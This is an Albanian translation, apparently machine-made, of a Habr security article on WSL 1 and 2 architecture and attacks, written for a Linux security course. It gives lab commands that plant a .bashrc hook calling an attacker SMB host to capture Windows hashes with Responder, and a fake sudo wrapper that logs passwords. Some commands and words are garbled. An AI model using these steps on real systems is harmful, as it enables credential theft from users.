Eksperimentet WSL. Pjesa 1

PĂ«rshĂ«ndetje, habr! NĂ« tetor, OTUS do tĂ« lançojĂ« njĂ« seri tĂ« re kursi «Siguria nĂ« Linux». NĂ« prag tĂ« fillimit tĂ« kursit, po ndajmĂ« me ju njĂ« artikull qĂ« e ka shkruar njĂ« nga mĂ«suesit tanĂ« — AleksandĂ«r Kolesnikov.

Eksperimentet WSL. Pjesa 1

Në vitin 2016, kompania Microsoft i prezantoi komunitetit IT një teknologji të re WSL (Windows Subsystem for Linux), e cila në perspektivë lejonte bashkimin e konkurentëve të papajtueshëm, të cilët luftonin për popullaritet si mes përdoruesve të zakonshëm ashtu edhe atyre të avancuar të sistemit operativ: Windows dhe Linux. Kjo teknologji ofronte mundësinë e përdorimit të mjeteve të sistemit Linux në një mjedis Windows pa pasur nevojë të nisja e Linux, për shembull, përmes multiboot (Multi-boot). Në Habr mund të gjeni një numër të madh artikujsh që përshkruajnë përfitimet e përdorimit të WSL. Megjithatë, fatkeqësisht, në momentin e krijimit të këtij artikulli, në këtë burim nuk u gjetën studime mbi sigurinë e këtij simbioze të sistemeve operuese. Ky post do të përpiqet ta korrigjojë këtë. Artikulli do të flasë për veçoritë arkitekturore të WSL 1 dhe 2, duke shqyrtuar disa shembuj të sulmeve ndaj sistemeve që përdorin këto teknologji. Artikulli është i ndarë në 2 pjesë. Në pjesën e parë do të ofrohen metodat teorike të sulmeve nga ana e Linux dhe Windows. Artikulli i dytë do të përfshijë konfigurimin e mjedisit të testimit dhe riprodhimin e sulmeve.

WSL 1: veçoritë e arkitekturës

PĂ«r njĂ« pĂ«rfshirje mĂ« tĂ« saktĂ« nĂ« problemet e sigurisĂ« WSL, Ă«shtĂ« e nevojshme tĂ« pĂ«rcaktohen nuancat kryesore tĂ« lidhura me implementimin e nĂ«n-sistemit. NjĂ« nga detyrat kryesore tĂ« pĂ«rdoruesit qĂ« zgjidh WSL Ă«shtĂ« ofrimi i mundĂ«sisĂ« pĂ«r tĂ« punuar pĂ«rmes terminalit tĂ« sistemeve Linux nĂ« hostin me sistemin operativ Windows. Po ashtu, pĂ«rputhshmĂ«ria e propozuar ishte aq natyrale, saqĂ« skedarĂ«t ekzekutivĂ« tĂ« Linux (ELF) mund tĂ« niseshin drejtpĂ«rdrejt nĂ« sistemin Windows. PĂ«r tĂ« arritur kĂ«to qĂ«llime, nĂ« Windows 10 u krijua njĂ« nĂ«n-sistem special qĂ« lejonte ekzekutimin e aplikacioneve Linux pĂ«rmes njĂ« grupi tĂ« caktuar thirrjesh sistemore — kĂ«shtu, u ndĂ«rmor njĂ« pĂ«rpjekje pĂ«r tĂ« hartuar grupin e syscall-ave tĂ« Linux mbi Windows. Fizikisht, kjo u realizua duke shtuar drejtues tĂ« rinj dhe njĂ« format tĂ« ri procesi. Arkitektura dukej kĂ«shtu:

Eksperimentet WSL. Pjesa 1

NĂ« thelb, ndĂ«rveprimi me sistemin operativ Linux u organizua pĂ«rmes disa moduleve bĂ«rthamore dhe njĂ« lloji tĂ« veçantĂ« procesesh — pico. Nga skema e mĂ«sipĂ«rme, duket se procesi i nisur nĂ« instancĂ«n Linux nĂ« host duhet tĂ« jetĂ« natyror dhe duhet tĂ« pĂ«rdorĂ« tĂ« njĂ«jtat burime si aplikacionet normale tĂ« Windows. Por si mund tĂ« arrihet kjo? NĂ« projektin Drawbridge u zhvilluan konceptet e proceseve pĂ«r Windows, tĂ« cilat ofronin tĂ« gjithĂ« komponentĂ«t e nevojshĂ«m tĂ« sistemit operativ (nĂ« varĂ«si tĂ« versionit tĂ« tij) pĂ«r tĂ« ekzekutuar aplikacionin e njĂ« sistemi tjetĂ«r.

Vlen tĂ« theksohet se abstraksioni i propozuar lejonte tĂ« mos u orientohej nĂ« sistemin operativ (veçanĂ«risht — Windows), ku pritej tĂ« niste procesi i njĂ« sistemi tjetĂ«r, dhe ofronte njĂ« qasje tĂ« pĂ«rgjithshme.

Kështu, çdo aplikacion brenda procesit pico mund të punonte pa u shqetësuar për bërthamën e Windows:

  1. Problemet e përputhshmërisë dhe përkthimi i thirrjeve sistemore duhet të zgjidhen nga ofrues speciale;
  2. Kufizimi i qasjes duhet të realizohet përmes Monitorit të Sigurisë. Monitori është i vendosur në bërthamë, dhe prandaj Windows kishte nevojë për një përmirësim në formën e një drejtuesi të ri që mund të vepronte si ofrues për këto procese. Prototipi i procesit pico është paraqitur në mënyrë skematike më poshtë:

Eksperimentet WSL. Pjesa 1

Duke qenĂ« se sistemi i skedarĂ«ve tĂ« Linux pĂ«rdor emra skedarĂ«sh dhe direktorish qĂ« kanĂ« ndjeshmĂ«ri ndaj rastit, nĂ« Windows u shtuan 2 lloje sistemesh skedarĂ«sh pĂ«r tĂ« punuar me WSL — VolFS dhe DriveFS. VolFS — njĂ« implementim i sistemit tĂ« skedarĂ«ve tĂ« Linux, DriveFS — njĂ« sistem skedarĂ«sh qĂ« punon sipas rregullave tĂ« Windows, por ka mundĂ«sinĂ« e zgjedhjes sĂ« ndjeshmĂ«risĂ« ndaj rastit tĂ« emrave.

WSL 2

WSL 1 kishte disa kufizime që nuk lejonin përdorimin e saj për të zgjidhur gamën maksimale të problemeve: për shembull, mungonte mundësia për të ekzekutuar aplikacione 32-bit Linux, nuk mund të përdoren driverët e pajisjeve. Prandaj, në vitin 2020 u lansua WSL 2, e cila ndryshoi qasjen në ndërtimin e nën-sistemës. WSL 2 është një makinë virtuale e optimizuar, e cila përputhet me karakteristikat e WSL 1 në aspektin e konsumit të burimeve. Tani, në varësi të problemeve që zgjidh përdoruesi i sistemit operativ Windows, mund të zgjidhet versioni i nevojshëm të nën-sistemës që punon me Linux. Për të mitizuar vulnerabilitetet e mundshme, WSL 2 është realizuar mbi bazën e Hyper-V në Windows 10. Në këtë formë, Windows ka mundësinë të ekzekutojë izoluara bërthamën e sistemit operativ Linux. Duhet të theksohet se versioni 1 i WSL u paraqit si një veçori beta, e cila do të tregonin drejtimin e zhvillimit të Windows në këtë fushë, kështu që kalimi në Hyper-V ishte i pashmangshëm. Arkitektura përfundimtare duket kështu:

Eksperimentet WSL. Pjesa 1

Në këtë version, bërthamat e sistemeve Windows dhe Linux kanë burime të veçanta dhe ndërveprimi ekziston vetëm në sistemin e skedarëve, megjithatë, ky ndërveprim nuk mund të quhet i plotë. Ndërveprimi midis sistemeve të skedarëve bëhet përmes një mbulese klient-serveri, e cila punon me protokollin 9P.

Në ditët e sotme, Microsoft ofron mundësinë për të kaluar ndërmjet WSL 1 dhe WSL 2. Të dy versionet janë të disponueshme për përdorim.

Siguria WSL

Aktualisht ekzistojnë disa punime që përshkruajnë disa qasje në përdorimin e mjeteve legjitime të sistemit operativ për sulmin ndaj ndërveprimit midis nën-sistemeve. Ne do të përdorim skenarët e tyre për të provuar aktualitetin e sulmeve në momentin e shk writing . Lista e përgjithshme e sulmeve dhe skenarëve të realizimit:

1. Implementimi i sistemit të skedarëve: të drejtat e aksesit, prania e direktivave të përbashkëta/mekanizmave të shkëmbimit të të dhënave.

Hulumtimet u realizuan për të shqyrtuar shkeljet e rregullave të aksesit nga Linux FS->Windows FS, Windows FS->Linux FS. Hulumtimet demonstruan mundësinë e modifikimit të një skedari të caktuar brenda sistemit operativ të synuar. Po ashtu, u realizuan përpjekje për të zëvendësuar, krijuar duplikat dhe fshirë pjesë të sistemeve të skedarëve.

Skenari:

  • A. Sulmi nga sistemi operativ Windows - modifikimi i skedarĂ«ve nga direktoria /etc e sistemit operativ Linux.
  • B. Sulmi nga sistemi operativ Linux - modifikimi i skedarĂ«ve nĂ« direktoritĂ«: C:Windows, C:Program Files, C:Users

2. Implementimi i palës rrjetës.

Hulumtimet u realizuan mbi shembujt e sulmeve nga ana e sistemit operativ Linux në Windows. U përdorën karakteristikat e punës së palës rrjetës, pra mekanizmat e autentifikimit në burime të ndryshme.

Skenari:

  • Hapja e aksesit nĂ« portin qĂ« Ă«shtĂ« i zĂ«nĂ« nĂ« sistemin Windows
  • Hapja e portit nĂ« mungesĂ« tĂ« tĂ« drejtave pĂ«rkatĂ«se
  • Ekzekutimi i reverse shell me pĂ«rdorimin e skedarit elf nĂ« sistemin operativ Windows.

3. Fshehja e ekzekutimit të proceseve të softuerëve të dëmshëm përmes nën-sistemit WSL.

Hulumtimet u bazuan në faktin e thjeshtë - sistemet e mbrojtjes nuk mund të kapin ndodhitë në një bërthamë tjetër, e cila punon me përdorimin e një ofruesi legjitim nga ana e sistemit operativ në rastin e WSL 1. Në rastin e WSL 2 nuk ka mundësi të shikohet ndodhitë që ndodhin në një bërthamë të ndarë brenda një makine virtuale të lehtë.

Skenari:

1) Ekzekutimi i aplikacionit për qasje në sistem dhe shqyrtimi i ngjarjeve të regjistruara.

Eksperimentet WSL 1: kapja e hashes (sistemi Windows)

Në fund, arritëm në pjesën praktike. Së pari, është e nevojshme të konfiguroni mjedisin për testet. Të gjitha eksperimentet do të realizohen në një platformë me Windows 10 2004 të instaluar. Si imazh i sistemit operativ për WSL, u zgjodh imazhi Ubuntu 18.04. Imazhi u zgjodh rastësisht, dhe cilido tjetër do të funksiononte njësoj. Komandat për konfigurimin e platformës:

Së pari, duhet të ekzekutoni powershell.exe në emër të administratorit.

Për WSL 1 duhet të ekzekutoni komandat:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktivizo funksionin WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Shkarko imazhin Linux nga dyqani i Microsoft

  • Ubuntu.appx install —root #Instaloni imazhin
  • Mund tĂ« jetĂ« e nevojshme tĂ« kaloni nĂ«pĂ«r procesin e konfigurimit dhe tĂ« krijoni njĂ« pĂ«rdorues tĂ« ri, i cili do tĂ« ketĂ« mĂ« pak tĂ« drejta se root. PĂ«r testet tona, ky do tĂ« jetĂ« pĂ«rdoruesi i zakonshĂ«m sam.
  • Restart-Computer #Rinisi
  • Pas rinisjes sĂ« platformĂ«s, mund tĂ« thĂ«rrisni komandĂ«n bash. NĂ«se gjithçka ka shkuar mirĂ«, do tĂ« shihni njĂ« dalje tĂ« tillĂ« nĂ« konsolĂ«n Windows:

    Eksperimentet WSL. Pjesa 1

    Si makinë sulmuese do të përdorim distribucionin Kali Linux, të gjitha makinat duhet të jenë në të njëjtën rrjet lokal.

    Supozoni se kemi qasje të pa privilegjuar në WSL në një makinë Windows. Le të përpiqemi të kryejmë një sulm ndaj sistemit operativ Linux, duke thirrur një komandë nga Linux. Për të realizuar sulmin, do të përdorim një teknikë të thjeshtë auto-çaktivizimi - do të shtojmë skriptin tonë për tu ekzekutuar në mjedisin Linux. Për këtë, nevojitet të modifikojmë skedarin .bashrc.

    Në makinën me WSL ekzekutojmë:

    	1. bash
    	2. Kalojmë në direktorinë e shtëpisë së përdoruesit: cd /home/sam/
    	2. echo "/home/sam/.attack.sh" >> .bashrc
    	3. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Në makinën Kali Linux ekzekutojmë:

    1. Responder -I eth0 -rdvw

    Në makinën Windows do të nisim bash.

    Prisni rezultatin në makinën Kali Linux:

    Eksperimentet WSL. Pjesa 1

    Kështu, kemi marrë hash-ët e përdoruesit Windows përmes nënstrukturës WSL, duke ekzekutuar komandën në sistemin Linux.

    Eksperimentet WSL 1: marrja e fjalëkalimit të përdoruesit (OS Linux)

    Do të kryejmë një eksperiment tjetër. Gjatë këtij verifikimi, do të shtojmë disa komanda në skedarin .bashrc për të marrë fjalëkalimin e përdoruesit të sistemit operativ Linux.

    Do të nisim bash dhe do të shërbejmë komandat:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Për të përfunduar me sukses sulmin, nevojitet që përdoruesi Sam të thërrasë sudo në terminalin Linux. Pas kësaj, fjalëkalimi i përdoruesit të sistemit operativ Linux do të përfundojë në skedarin pass.txt:

    Eksperimentet WSL. Pjesa 1

    Zbatimi i sulmeve u paraqit thjesht për qëllime teorike.

    Në pjesën tjetër të artikullit do të përshkruhet zbatimi i protokollit 9P, do të shqyrtohet krijimi i një skaner për këtë protokoll, si dhe do të realizohet një sulm me ndihmën e tij.

    Lista e literaturës së përdorur

    Eksperimentet WSL. Pjesa 1

    Lexoni më shumë

    Burimi: habr.com

    Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster